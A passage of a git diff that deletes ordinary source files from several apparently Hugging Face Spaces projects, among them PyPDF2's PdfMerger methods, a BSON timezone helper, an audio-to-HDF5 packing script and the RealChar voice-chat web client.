-                outline_item[NameObject("/Page")] = NumberObject(pageno)
-
-    @deprecation_bookmark(bookmark="outline_item")
-    def find_outline_item(
-        self,
-        outline_item: Dict[str, Any],
-        root: Optional[OutlineType] = None,
-    ) -> Optional[List[int]]:
-        if root is None:
-            root = self.outline
-
-        for i, oi_enum in enumerate(root):
-            if isinstance(oi_enum, list):
-                # oi_enum is still an inner node
-                # (OutlineType, if recursive types were supported by mypy)
-                res = self.find_outline_item(outline_item, oi_enum)  # type: ignore
-                if res:
-                    return [i] + res
-            elif (
-                oi_enum == outline_item
-                or cast(Dict[Any, Any], oi_enum["/Title"]) == outline_item
-            ):
-                # we found a leaf node
-                return [i]
-
-        return None
-
-    @deprecation_bookmark(bookmark="outline_item")
-    def find_bookmark(
-        self,
-        outline_item: Dict[str, Any],
-        root: Optional[OutlineType] = None,
-    ) -> Optional[List[int]]:  # pragma: no cover
-        """
-        .. deprecated:: 2.9.0
-            Use :meth:`find_outline_item` instead.
-        """
-        return self.find_outline_item(outline_item, root)
-
-    def add_outline_item(
-        self,
-        title: str,
-        page_number: Optional[int] = None,
-        parent: Union[None, TreeObject, IndirectObject] = None,
-        color: Optional[Tuple[float, float, float]] = None,
-        bold: bool = False,
-        italic: bool = False,
-        fit: Fit = PAGE_FIT,
-        pagenum: Optional[int] = None,  # deprecated
-    ) -> IndirectObject:
-        """
-        Add an outline item (commonly referred to as a "Bookmark") to this PDF file.
-
-        :param str title: Title to use for this outline item.
-        :param int page_number: Page number this outline item will point to.
-        :param parent: A reference to a parent outline item to create nested
-            outline items.
-        :param tuple color: Color of the outline item's font as a red, green, blue tuple
-            from 0.0 to 1.0
-        :param bool bold: Outline item font is bold
-        :param bool italic: Outline item font is italic
-        :param Fit fit: The fit of the destination page.
-        """
-        if page_number is not None and pagenum is not None:
-            raise ValueError(
-                "The argument pagenum of add_outline_item is deprecated. Use page_number only."
-            )
-        if pagenum is not None:
-            old_term = "pagenum"
-            new_term = "page_number"
-            warnings.warn(
-                (
-                    f"{old_term} is deprecated as an argument and will be "
-                    f"removed in PyPDF2==4.0.0. Use {new_term} instead"
-                ),
-                DeprecationWarning,
-            )
-            page_number = pagenum
-        if page_number is None:
-            raise ValueError("page_number may not be None")
-        writer = self.output
-        if writer is None:
-            raise RuntimeError(ERR_CLOSED_WRITER)
-        return writer.add_outline_item(
-            title,
-            page_number,
-            parent,
-            None,
-            color,
-            bold,
-            italic,
-            fit,
-        )
-
-    def addBookmark(
-        self,
-        title: str,
-        pagenum: int,  # deprecated, but the whole method is deprecated
-        parent: Union[None, TreeObject, IndirectObject] = None,
-        color: Optional[Tuple[float, float, float]] = None,
-        bold: bool = False,
-        italic: bool = False,
-        fit: FitType = "/Fit",
-        *args: ZoomArgType,
-    ) -> IndirectObject:  # pragma: no cover
-        """
-        .. deprecated:: 1.28.0
-            Use :meth:`add_outline_item` instead.
-        """
-        deprecation_with_replacement("addBookmark", "add_outline_item", "3.0.0")
-        return self.add_outline_item(
-            title,
-            pagenum,
-            parent,
-            color,
-            bold,
-            italic,
-            Fit(fit_type=fit, fit_args=args),
-        )
-
-    def add_bookmark(
-        self,
-        title: str,
-        pagenum: int,  # deprecated, but the whole method is deprecated already
-        parent: Union[None, TreeObject, IndirectObject] = None,
-        color: Optional[Tuple[float, float, float]] = None,
-        bold: bool = False,
-        italic: bool = False,
-        fit: FitType = "/Fit",
-        *args: ZoomArgType,
-    ) -> IndirectObject:  # pragma: no cover
-        """
-        .. deprecated:: 2.9.0
-            Use :meth:`add_outline_item` instead.
-        """
-        deprecation_with_replacement("addBookmark", "add_outline_item", "3.0.0")
-        return self.add_outline_item(
-            title,
-            pagenum,
-            parent,
-            color,
-            bold,
-            italic,
-            Fit(fit_type=fit, fit_args=args),
-        )
-
-    def addNamedDestination(self, title: str, pagenum: int) -> None:  # pragma: no cover
-        """
-        .. deprecated:: 1.28.0
-            Use :meth:`add_named_destination` instead.
-        """
-        deprecation_with_replacement(
-            "addNamedDestination", "add_named_destination", "3.0.0"
-        )
-        return self.add_named_destination(title, pagenum)
-
-    def add_named_destination(
-        self,
-        title: str,
-        page_number: Optional[int] = None,
-        pagenum: Optional[int] = None,
-    ) -> None:
-        """
-        Add a destination to the output.
-
-        :param str title: Title to use
-        :param int page_number: Page number this destination points at.
-        """
-        if page_number is not None and pagenum is not None:
-            raise ValueError(
-                "The argument pagenum of add_named_destination is deprecated. Use page_number only."
-            )
-        if pagenum is not None:
-            old_term = "pagenum"
-            new_term = "page_number"
-            warnings.warn(
-                (
-                    f"{old_term} is deprecated as an argument and will be "
-                    f"removed in PyPDF2==4.0.0. Use {new_term} instead"
-                ),
-                DeprecationWarning,
-            )
-            page_number = pagenum
-        if page_number is None:
-            raise ValueError("page_number may not be None")
-        dest = Destination(
-            TextStringObject(title),
-            NumberObject(page_number),
-            Fit.fit_horizontally(top=826),
-        )
-        self.named_dests.append(dest)
-
-
-class PdfFileMerger(PdfMerger):  # pragma: no cover
-    def __init__(self, *args: Any, **kwargs: Any) -> None:
-        deprecation_with_replacement("PdfFileMerger", "PdfMerger", "3.0.0")
-
-        if "strict" not in kwargs and len(args) < 1:
-            kwargs["strict"] = True  # maintain the default
-        super().__init__(*args, **kwargs)
diff --git a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/bson/tz_util.py b/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/bson/tz_util.py
deleted file mode 100644
index 8106c77b408cea36e990058b14c8bc5888ab54b8..0000000000000000000000000000000000000000
--- a/spaces/joaopereirajp/livvieChatBot/venv/lib/python3.9/site-packages/bson/tz_util.py
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright 2010-2015 MongoDB, Inc.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-"""Timezone related utilities for BSON."""
-
-from datetime import datetime, timedelta, tzinfo
-from typing import Optional, Tuple, Union
-
-ZERO: timedelta = timedelta(0)
-
-
-class FixedOffset(tzinfo):
-    """Fixed offset timezone, in minutes east from UTC.
-
-    Implementation based from the Python `standard library documentation
-    <http://docs.python.org/library/datetime.html#tzinfo-objects>`_.
-    Defining __getinitargs__ enables pickling / copying.
-    """
-
-    def __init__(self, offset: Union[float, timedelta], name: str) -> None:
-        if isinstance(offset, timedelta):
-            self.__offset = offset
-        else:
-            self.__offset = timedelta(minutes=offset)
-        self.__name = name
-
-    def __getinitargs__(self) -> Tuple[timedelta, str]:
-        return self.__offset, self.__name
-
-    def utcoffset(self, dt: Optional[datetime]) -> timedelta:
-        return self.__offset
-
-    def tzname(self, dt: Optional[datetime]) -> str:
-        return self.__name
-
-    def dst(self, dt: Optional[datetime]) -> timedelta:
-        return ZERO
-
-
-utc: FixedOffset = FixedOffset(0, "UTC")
-"""Fixed offset timezone representing UTC."""
diff --git a/spaces/jone/Music_Source_Separation/bytesep/dataset_creation/pack_audios_to_hdf5s/instruments_solo.py b/spaces/jone/Music_Source_Separation/bytesep/dataset_creation/pack_audios_to_hdf5s/instruments_solo.py
deleted file mode 100644
index 18ac5a9ccb23c1f606d0052aae8818dda5e988c0..0000000000000000000000000000000000000000
--- a/spaces/jone/Music_Source_Separation/bytesep/dataset_creation/pack_audios_to_hdf5s/instruments_solo.py
+++ /dev/null
@@ -1,173 +0,0 @@
-import argparse
-import os
-import pathlib
-import time
-from concurrent.futures import ProcessPoolExecutor
-from typing import Dict, List, NoReturn
-
-import h5py
-import numpy as np
-import pandas as pd
-
-from bytesep.utils import float32_to_int16, load_audio
-
-
-def read_csv(meta_csv) -> Dict:
-    r"""Get train & test names from csv.
-
-    Args:
-        meta_csv: str
-
-    Returns:
-        names_dict: dict, e.g., {
-            'train', ['songA.mp3', 'songB.mp3', ...],
-            'test': ['songE.mp3', 'songF.mp3', ...]
-        }
-    """
-    df = pd.read_csv(meta_csv, sep=',')
-
-    names_dict = {}
-
-    for split in ['train', 'test']:
-        audio_indexes = df['split'] == split
-        audio_names = list(df['audio_name'][audio_indexes])
-        audio_names = [
-            '{}.mp3'.format(pathlib.Path(audio_name).stem) for audio_name in audio_names
-        ]
-        names_dict[split] = audio_names
-
-    return names_dict
-
-
-def pack_audios_to_hdf5s(args) -> NoReturn:
-    r"""Pack (resampled) audio files into hdf5 files to speed up loading.
-
-    Args:
-        dataset_dir: str
-        split: str, 'train' | 'test'
-        source_type: str
-        hdf5s_dir: str, directory to write out hdf5 files
-        sample_rate: int
-        channels_num: int
-        mono: bool
-
-    Returns:
-        NoReturn
-    """
-
-    # arguments & parameters
-    dataset_dir = args.dataset_dir
-    split = args.split
-    source_type = args.source_type
-    hdf5s_dir = args.hdf5s_dir
-    sample_rate = args.sample_rate
-    channels = args.channels
-    mono = True if channels == 1 else False
-
-    # Only pack data for training data.
-    assert split == "train"
-
-    # paths
-    audios_dir = os.path.join(dataset_dir, 'mp3s')
-    meta_csv = os.path.join(dataset_dir, 'validation.csv')
-
-    os.makedirs(hdf5s_dir, exist_ok=True)
-
-    # Read train & test names.
-    names_dict = read_csv(meta_csv)
-
-    audio_names = names_dict[split]
-
-    params = []
-
-    for audio_index, audio_name in enumerate(audio_names):
-
-        audio_path = os.path.join(audios_dir, audio_name)
-
-        hdf5_path = os.path.join(
-            hdf5s_dir, "{}.h5".format(pathlib.Path(audio_name).stem)
-        )
-
-        param = (
-            audio_index,
-            audio_name,
-            source_type,
-            audio_path,
-            mono,
-            sample_rate,
-            hdf5_path,
-        )
-        params.append(param)
-
-    # Uncomment for debug.
-    # write_single_audio_to_hdf5(params[0])
-    # os._exit()
-
-    pack_hdf5s_time = time.time()
-
-    with ProcessPoolExecutor(max_workers=None) as pool:
-        # Maximum works on the machine
-        pool.map(write_single_audio_to_hdf5, params)
-
-    print("Pack hdf5 time: {:.3f} s".format(time.time() - pack_hdf5s_time))
-
-
-def write_single_audio_to_hdf5(param: List) -> NoReturn:
-    r"""Write single audio into hdf5 file."""
-
-    (
-        audio_index,
-        audio_name,
-        source_type,
-        audio_path,
-        mono,
-        sample_rate,
-        hdf5_path,
-    ) = param
-
-    with h5py.File(hdf5_path, "w") as hf:
-
-        hf.attrs.create("audio_name", data=audio_name, dtype="S100")
-        hf.attrs.create("sample_rate", data=sample_rate, dtype=np.int32)
-
-        audio = load_audio(audio_path=audio_path, mono=mono, sample_rate=sample_rate)
-        # audio: (channels_num, audio_samples)
-
-        hf.create_dataset(
-            name=source_type, data=float32_to_int16(audio), dtype=np.int16
-        )
-
-    print('{} Write hdf5 to {}'.format(audio_index, hdf5_path))
-
-
-if __name__ == "__main__":
-    parser = argparse.ArgumentParser()
-
-    parser.add_argument(
-        "--dataset_dir",
-        type=str,
-        required=True,
-        help="Directory of the instruments solo dataset.",
-    )
-    parser.add_argument("--split", type=str, required=True, choices=["train", "test"])
-    parser.add_argument(
-        "--source_type",
-        type=str,
-        required=True,
-    )
-    parser.add_argument(
-        "--hdf5s_dir",
-        type=str,
-        required=True,
-        help="Directory to write out hdf5 files.",
-    )
-    parser.add_argument("--sample_rate", type=int, required=True, help="Sample rate.")
-    parser.add_argument(
-        "--channels", type=int, required=True, help="Use 1 for mono, 2 for stereo."
-    )
-
-    # Parse arguments.
-    args = parser.parse_args()
-
-    # Pack audios to hdf5 files.
-    pack_audios_to_hdf5s(args)
diff --git a/spaces/jordonpeter01/MusicGen/audiocraft/__init__.py b/spaces/jordonpeter01/MusicGen/audiocraft/__init__.py
deleted file mode 100644
index 6b8594f470200ff5c000542ef115375ed69b749c..0000000000000000000000000000000000000000
--- a/spaces/jordonpeter01/MusicGen/audiocraft/__init__.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-#
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-# flake8: noqa
-from . import data, modules, models
-
-__version__ = '0.0.2a2'
diff --git a/spaces/kangvcar/RealChar/realtime_ai_character/static/script.js b/spaces/kangvcar/RealChar/realtime_ai_character/static/script.js
deleted file mode 100644
index dd749a22f15150cddcdcafe3bb1c8cb8a1f59aba..0000000000000000000000000000000000000000
--- a/spaces/kangvcar/RealChar/realtime_ai_character/static/script.js
+++ /dev/null
@@ -1,614 +0,0 @@
-/**
- * WebSocket Connection
- * The client sends and receives messages through this WebSocket connection.
- */
-const connectButton = document.getElementById('connect');
-const disconnectButton = document.getElementById('disconnect');
-const devicesContainer = document.getElementById('devices-container');
-let socket;
-let clientId = Math.floor(Math.random() * 10000000);
-
-function connectSocket() {
-  chatWindow.value = "";
-  var clientId = Math.floor(Math.random() * 1010000);
-  var ws_scheme = window.location.protocol == "https:" ? "wss" : "ws";
-  var ws_path = ws_scheme + '://' + window.location.host + `/ws/${clientId}`;
-  socket = new WebSocket(ws_path);
-  socket.binaryType = 'arraybuffer';
-
-  socket.onopen = (event) => {
-    console.log("successfully connected");
-    connectMicrophone(audioDeviceSelection.value);
-    speechRecognition();
-    socket.send("web"); // select web as the platform
-  };
-
-  socket.onmessage = (event) => {
-    if (typeof event.data === 'string') {
-      const message = event.data;
-      if (message == '[end]\n') {
-        chatWindow.value += "\n\n";
-        chatWindow.scrollTop = chatWindow.scrollHeight;
-      } else if (message.startsWith('[+]')) {
-        // [+] indicates the transcription is done. stop playing audio
-        chatWindow.value += `\nYou> ${message}\n`;
-        stopAudioPlayback();
-      } else if (message.startsWith('[=]')) {
-        // [=] indicates the response is done
-        chatWindow.value += "\n\n";
-        chatWindow.scrollTop = chatWindow.scrollHeight;
-      } else if (message.startsWith('Select')) {
-        createCharacterGroups(message);
-      } else {
-        chatWindow.value += `${event.data}`;
-        chatWindow.scrollTop = chatWindow.scrollHeight;
-
-        // if user interrupts the previous response, should be able to play audios of new response
-        shouldPlayAudio=true;
-      }
-    } else {  // binary data
-      if (!shouldPlayAudio) {
-        return;
-      }
-      audioQueue.push(event.data);
-      if (audioQueue.length === 1) {
-        playAudios();
-      }
-    }
-  };
-
-  socket.onerror = (error) => {
-    console.log(`WebSocket Error: ${error}`);
-  };
-  
-  socket.onclose = (event) => {
-    console.log("Socket closed");
-  };
-}
-
-connectButton.addEventListener("click", function() {
-  connectButton.style.display = "none";
-  textContainer.textContent = "Select a character";
-  devicesContainer.style.display = "none";
-  connectSocket();
-  talkButton.style.display = 'flex';
-  textButton.style.display = 'flex';
-});
-
-disconnectButton.addEventListener("click", function() {
-  stopAudioPlayback();
-  if (radioGroupsCreated) {
-    destroyRadioGroups();
-  }
-  if (mediaRecorder) {
-    mediaRecorder.stop();
-  }
-  if (recognition) {
-    recognition.stop();
-  }
-  textContainer.textContent = "";
-  disconnectButton.style.display = "none";
-  playerContainer.style.display = "none";
-  stopCallButton.style.display = "none";
-  continueCallButton.style.display = "none";
-  messageButton.style.display = "none";
-  sendButton.style.display = "none";
-  messageInput.style.display = "none";
-  chatWindow.style.display = "none";
-  callButton.style.display = "none";
-  connectButton.style.display = "flex";
-  devicesContainer.style.display = "flex";
-  talkButton.disabled = true;
-  textButton.disabled = true;
-  chatWindow.value = "";
-  selectedCharacter = null;
-  characterSent = false;
-  callActive = false;
-  showRecordingStatus();
-  socket.close();
-});
-
-/**
- * Devices
- * Get the list of media devices
- */
-const audioDeviceSelection = document.getElementById('audio-device-selection');
-
-window.addEventListener("load", function() {
-  navigator.mediaDevices.enumerateDevices()
-    .then(function(devices) {
-      // Filter out the audio input devices
-      let audioInputDevices = devices.filter(function(device) {
-        return device.kind === 'audioinput';
-      });
-
-      // If there are no audio input devices, display an error and return
-      if (audioInputDevices.length === 0) {
-        console.log('No audio input devices found');
-        return;
-      }
-
-      // Add the audio input devices to the dropdown
-      audioInputDevices.forEach(function(device, index) {
-        let option = document.createElement('option');
-        option.value = device.deviceId;
-        option.textContent = device.label || `Microphone ${index + 1}`;
-        audioDeviceSelection.appendChild(option);
-      });
-    })
-    .catch(function(err) {
-      console.log('An error occurred: ' + err);
-    });
-});
-
-audioDeviceSelection.addEventListener('change', function(e) {
-  connectMicrophone(e.target.value);
-});
-
-/**
- * Audio Recording and Transmission
- * captures audio from the user's microphone, which is then sent over the
- * WebSocket connection then sent over the WebSocket connection to the server 
- * when the recording stops.
- */
-let mediaRecorder;
-let chunks = [];
-let finalTranscripts = [];
-let debug = false;
-let audioSent = false;
-
-function connectMicrophone(deviceId) {
-  navigator.mediaDevices.getUserMedia({
-    audio: {
-      deviceId: deviceId ? {exact: deviceId} : undefined,
-      echoCancellation: true
-    }
-  }).then(function(stream) {
-    mediaRecorder = new MediaRecorder(stream);
-
-    mediaRecorder.ondataavailable = function(e) {
-      chunks.push(e.data);
-    }
-
-    mediaRecorder.onstart = function() {
-      console.log("recorder starts");
-    }
-
-    mediaRecorder.onstop = function(e) {
-      console.log("recorder stops");
-      let blob = new Blob(chunks, {'type' : 'audio/webm'});
-      chunks = [];
-
-      if (debug) {
-          // Save the audio
-          let url = URL.createObjectURL(blob);
-          let a = document.createElement("a");
-          document.body.appendChild(a);
-          a.style = "display: none";
-          a.href = url;
-          a.download = 'test.webm';
-          a.click();
-      }
-
-      if (socket && socket.readyState === WebSocket.OPEN) {
-        if (!audioSent && callActive) {
-          console.log("sending audio");
-          socket.send(blob);
-        }
-        audioSent = false;
-        if (callActive) {
-          mediaRecorder.start();
-        }
-      }
-    }
-  })
-  .catch(function(err) {
-    console.log('An error occurred: ' + err);
-  });
-}
-
-
-/** 
- * Speech Recognition
- * listens for when the user's speech ends and stops the recording.
- */
-let recognition;
-let onresultTimeout;
-let onspeechTimeout;
-let confidence;
-function speechRecognition() {
-  // Initialize SpeechRecognition
-  window.SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition;
-  recognition = new SpeechRecognition();
-  recognition.interimResults = true;
-  recognition.maxAlternatives = 1;
-  recognition.continuous = true;
-
-  recognition.onstart = function() {
-    console.log("recognition starts");
-  }
-
-  recognition.onresult = function(event) {
-    // Clear the timeout if a result is received
-    clearTimeout(onresultTimeout);
-    clearTimeout(onspeechTimeout);
-    stopAudioPlayback()
-    const result = event.results[event.results.length - 1];
-    const transcriptObj = result[0];
-    const transcript = transcriptObj.transcript;
-    const ifFinal = result.isFinal;
-    if (ifFinal) {
-      console.log(`final transcript: {${transcript}}`);
-      finalTranscripts.push(transcript);
-      confidence = transcriptObj.confidence;
-      socket.send(`[&]${transcript}`);
-    } else {
-      console.log(`interim transcript: {${transcript}}`);
-    }
-    // Set a new timeout
-    onresultTimeout = setTimeout(() => {
-      if (ifFinal) {
-        return;
-      }
-      // If the timeout is reached, send the interim transcript
-      console.log(`TIMEOUT: interim transcript: {${transcript}}`);
-      socket.send(`[&]${transcript}`);
-    }, 500); // 500 ms
-
-    onspeechTimeout = setTimeout(() => {
-      recognition.stop();
-    }, 2000); // 2 seconds
-  }
-
-  recognition.onspeechend = function() {
-    console.log("speech ends");
-
-    if (socket && socket.readyState === WebSocket.OPEN){
-      audioSent = true;
-      mediaRecorder.stop();
-      if (confidence > 0.8 && finalTranscripts.length > 0) {
-        console.log("send final transcript");
-        let message = finalTranscripts.join(' ');
-        socket.send(message);
-        chatWindow.value += `\nYou> ${message}\n`;
-        chatWindow.scrollTop = chatWindow.scrollHeight;
-        shouldPlayAudio = true;
-      }
-    }
-    finalTranscripts = [];
-  };
-
-  recognition.onend = function() {
-    console.log("recognition ends");
-    if (socket && socket.readyState === WebSocket.OPEN && callActive){
-      recognition.start();
-    }
-  };
-}
-
-/**
- * Voice-based Chatting
- * allows users to start a voice chat.
- */
-const talkButton = document.getElementById('talk-btn');
-const textButton = document.getElementById('text-btn');
-const callButton =  document.getElementById('call');
-const textContainer = document.querySelector('.header p');
-const playerContainer = document.getElementById('player-container');
-const soundWave = document.getElementById('sound-wave');
-const stopCallButton = document.getElementById('stop-call');
-const continueCallButton = document.getElementById('continue-call');
-let callActive = false;
-
-callButton.addEventListener("click", () => {
-  playerContainer.style.display = 'flex';
-  chatWindow.style.display = 'none';
-  sendButton.style.display = 'none';
-  messageInput.style.display = "none";
-  callButton.style.display = "none";
-  messageButton.style.display = 'flex';
-
-  if (callActive) {
-    stopCallButton.style.display = 'flex';
-    soundWave.style.display = 'flex';
-  } else {
-    continueCallButton.style.display = 'flex';
-  }
-  showRecordingStatus();
-});
-
-stopCallButton.addEventListener("click", () => {
-  soundWave.style.display = "none";
-  stopCallButton.style.display = "none";
-  continueCallButton.style.display = "flex";
-
-  callActive = false;
-  mediaRecorder.stop();
-  recognition.stop();
-  stopAudioPlayback();
-  showRecordingStatus();
-})
-
-continueCallButton.addEventListener("click", () => {
-  stopCallButton.style.display = "flex";
-  continueCallButton.style.display = "none";
-  soundWave.style.display = "flex";
-
-  mediaRecorder.start();
-  recognition.start();
-  callActive = true;
-  showRecordingStatus();
-});
-
-function showRecordingStatus() {
-  // show recording status
-  if (mediaRecorder.state == "recording") {
-    recordingStatus.style.display = "inline-block";
-  } else {
-    recordingStatus.style.display = "none";
-  }
-}
-
-talkButton.addEventListener("click", function() {
-  if (socket && socket.readyState === WebSocket.OPEN && mediaRecorder && selectedCharacter) {
-    playerContainer.style.display = "flex";
-
-    talkButton.style.display = "none";
-    textButton.style.display = 'none';
-    disconnectButton.style.display = "flex";
-    messageButton.style.display = "flex";
-    stopCallButton.style.display = "flex";
-    soundWave.style.display = "flex";
-    textContainer.textContent = "Hi, my friend, what brings you here today?";
-    shouldPlayAudio=true;
-
-    socket.send(selectedCharacter);
-    hideOtherCharacters();
-
-    mediaRecorder.start();
-    recognition.start();
-    callActive = true;
-    showRecordingStatus();
-  }
-});
-
-textButton.addEventListener("click", function() {
-  if (socket && socket.readyState === WebSocket.OPEN && mediaRecorder && selectedCharacter) {
-    messageButton.click();
-    disconnectButton.style.display = "flex";
-    textContainer.textContent = "";
-    shouldPlayAudio=true;
-
-    socket.send(selectedCharacter);
-    hideOtherCharacters();
-    showRecordingStatus();
-  }
-});
-
-function hideOtherCharacters() {
-  // Hide the radio buttons that are not selected
-  const radioButtons = document.querySelectorAll('.radio-buttons input[type="radio"]');
-  radioButtons.forEach(radioButton => {
-    if (radioButton.value != selectedCharacter) {
-      radioButton.parentElement.style.display = 'none';
-    }
-  });
-}
-
-/**
- * Text-based Chatting
- * allow users to send text-based messages through the WebSocket connection.
- */
-const messageInput = document.getElementById('message-input');
-const sendButton = document.getElementById('send-btn');
-const messageButton = document.getElementById('message');
-const chatWindow = document.getElementById('chat-window');
-const recordingStatus = document.getElementById("recording");
-let characterSent = false;
-
-messageButton.addEventListener('click', function() {
-  playerContainer.style.display = 'none';
-  chatWindow.style.display = 'block';
-  talkButton.style.display = 'none';
-  textButton.style.display = 'none';
-  sendButton.style.display = 'block';
-  messageInput.style.display = "block";
-  callButton.style.display = "flex";
-  messageButton.style.display = 'none';
-  continueCallButton.style.display = 'none';
-  stopCallButton.style.display = 'none';
-  soundWave.style.display = "none";
-
-  showRecordingStatus();
-});
-
-const sendMessage = () => {
-  if (socket && socket.readyState === WebSocket.OPEN) {
-    const message = messageInput.value;
-    chatWindow.value += `\nYou> ${message}\n`;
-    chatWindow.scrollTop = chatWindow.scrollHeight;
-    socket.send(message);
-    messageInput.value = "";
-    if (isPlaying) {
-      stopAudioPlayback();
-    }
-  }
-}
-
-sendButton.addEventListener("click", sendMessage);
-messageInput.addEventListener("keydown", (event) => {
-  if (event.key === "Enter") {
-    event.preventDefault();
-    sendMessage();
-  }
-});
-
-/**
- * Character Selection
- * parses the initial message from the server that asks the user to select a 
- * character for the chat. creates radio buttons for the character selection.
- */
-let selectedCharacter;
-let radioGroupsCreated = false;
-
-function createCharacterGroups(message) {
-  const options = message.split('\n').slice(1);
-
-  // Create a map from character name to image URL
-  // TODO: store image in database and let server send the image url to client.
-  const imageMap = {
-    'Raiden Shogun And Ei': '/static/raiden.svg',
-    'Loki': '/static/loki.svg',
-    'Ai Character Helper': '/static/ai_helper.png',
-    'Reflection Pi': '/static/pi.jpeg',
-    'Elon Musk': '/static/elon.png',
-    'Bruce Wayne': '/static/bruce.png',
-    'Steve Jobs': '/static/jobs.png',
-    'Sam Altman': '/static/sam.png',
-  };
-
-  const radioButtonDiv = document.getElementsByClassName('radio-buttons')[0];
-  options.forEach(option => {
-    const match = option.match(/^(\d+)\s-\s(.+)$/);
-    if (match) {
-      const label = document.createElement('label');
-      label.className = 'custom-radio';
-
-      const input = document.createElement('input');
-      input.type = 'radio';
-      input.name = 'radio';
-      input.value = match[1];  // The option number is the value
-
-      const span = document.createElement('span');
-      span.className = 'radio-btn';
-      span.innerHTML = '<i class="las la-check"></i>';
-
-      const hobbiesIcon = document.createElement('div');
-      hobbiesIcon.className = 'hobbies-icon';
-
-      const img = document.createElement('img');
-      let src = imageMap[match[2]];
-      if (!src) {
-        src = '/static/realchar.svg';
-      }
-      img.src = src;
-
-      // Create a h3 element
-      const h3 = document.createElement('h4');
-      h3.textContent = match[2];  // The option name is the text
-
-      hobbiesIcon.appendChild(img);
-      hobbiesIcon.appendChild(h3);
-      span.appendChild(hobbiesIcon);
-      label.appendChild(input);
-      label.appendChild(span);
-
-      radioButtonDiv.appendChild(label);
-    }
-  });
-
-  radioButtonDiv.addEventListener('change', (event) => {
-    if (event.target.value != "") {
-      selectedCharacter = event.target.value;
-    }
-
-    talkButton.disabled = false;
-    textButton.disabled = false;
-  });
-
-  radioGroupsCreated = true;
-}
-
-function destroyRadioGroups() {
-  const radioButtonDiv = document.getElementsByClassName('radio-buttons')[0];
-  while (radioButtonDiv.firstChild) {
-    radioButtonDiv.removeChild(radioButtonDiv.firstChild);
-  }
-  selectedCharacter = null;
-  radioGroupsCreated = false;
-}
-
-// This function will add or remove the pulse animation
-function togglePulseAnimation() {
-  const selectedRadioButton = document.querySelector('.custom-radio input:checked + .radio-btn');
-
-  if (isPlaying && selectedRadioButton) {
-    // Remove existing pulse animations
-    selectedRadioButton.classList.remove("pulse-animation-1");
-    selectedRadioButton.classList.remove("pulse-animation-2");
-
-    // Add a new pulse animation, randomly choosing between the two speeds
-    const animationClass = Math.random() > 0.5 ? "pulse-animation-1" : "pulse-animation-2";
-    selectedRadioButton.classList.add(animationClass);
-  } else if (selectedRadioButton) {
-    selectedRadioButton.classList.remove("pulse-animation-1");
-    selectedRadioButton.classList.remove("pulse-animation-2");
-  }
-}
-
-/**
- * Audio Playback
- * playing back audio received from the server.
- */
-const audioPlayer = document.getElementById('audio-player')
-let audioQueue = [];
-let audioContext;
-let shouldPlayAudio = false;
-let isPlaying = false;
-
-// Function to unlock the AudioContext
-function unlockAudioContext(audioContext) {
-  if (audioContext.state === 'suspended') {
-    var unlock = function() {
-      audioContext.resume().then(function() {
-        document.body.removeEventListener('touchstart', unlock);
-        document.body.removeEventListener('touchend', unlock);
-      });
-    };
-    document.body.addEventListener('touchstart', unlock, false);
-    document.body.addEventListener('touchend', unlock, false);
-  }
-}
-
-async function playAudios() {
-  isPlaying = true;
-  togglePulseAnimation();
-  while (audioQueue.length > 0) {
-    let data = audioQueue[0];
-    let blob = new Blob([data], { type: 'audio/mp3' });
-    let audioUrl = URL.createObjectURL(blob);
-    await playAudio(audioUrl);
-    audioQueue.shift();
-  }
-  isPlaying = false;
-  togglePulseAnimation();
-}
-
-function playAudio(url) {
-  if (!audioContext) {
-    audioContext = new (window.AudioContext || window.webkitAudioContext)();
-    unlockAudioContext(audioContext);
-  }
-  if (!audioPlayer) {
-    audioPlayer = document.getElementById('audio-player');
-  }
-  return new Promise((resolve) => {
-    audioPlayer.src = url;
-    audioPlayer.muted = true;  // Start muted
-    audioPlayer.play();
-    audioPlayer.onended = resolve;
-    audioPlayer.play().then(() => {
-      audioPlayer.muted = false;  // Unmute after playback starts
-    }).catch(error => alert(`Playback failed because: ${error}`));
-  });
-}
-
-function stopAudioPlayback() {
-  if (audioPlayer) {
-    audioPlayer.pause();
-    shouldPlayAudio = false;
-  }
-  audioQueue = [];
-  isPlaying = false;
-  togglePulseAnimation();
-}
diff --git a/spaces/karol99/Envvi-Inkpunk-Diffusion/app.py b/spaces/karol99/Envvi-Inkpunk-Diffusion/app.py
deleted file mode 100644
index 542f8368a54f5e7deb116773361809abf413fc6e..0000000000000000000000000000000000000000
--- a/spaces/karol99/Envvi-Inkpunk-Diffusion/app.py
+++ /dev/null
@@ -1,3 +0,0 @@
-import gradio as gr
-
-gr.Interface.load("models/Envvi/Inkpunk-Diffusion").launch()
\ No newline at end of file
diff --git a/spaces/kevinwang676/ChatGLM2-SadTalker/src/face3d/data/base_dataset.py b/spaces/kevinwang676/ChatGLM2-SadTalker/src/face3d/data/base_dataset.py
deleted file mode 100644
index 1bd57d082d519f512d7114b4f867b6695fb7de06..0000000000000000000000000000000000000000
--- a/spaces/kevinwang676/ChatGLM2-SadTalker/src/face3d/data/base_dataset.py
+++ /dev/null
@@ -1,125 +0,0 @@
-"""This module implements an abstract base class (ABC) 'BaseDataset' for datasets.
-
-It also includes common transformation functions (e.g., get_transform, __scale_width), which can be later used in subclasses.
-"""
-import random
-import numpy as np
-import torch.utils.data as data
-from PIL import Image
-import torchvision.transforms as transforms
-from abc import ABC, abstractmethod
-
-
-class BaseDataset(data.Dataset, ABC):
-    """This class is an abstract base class (ABC) for datasets.
-
-    To create a subclass, you need to implement the following four functions:
-    -- <__init__>:                      initialize the class, first call BaseDataset.__init__(self, opt).
-    -- <__len__>:                       return the size of dataset.
-    -- <__getitem__>:                   get a data point.
-    -- <modify_commandline_options>:    (optionally) add dataset-specific options and set default options.
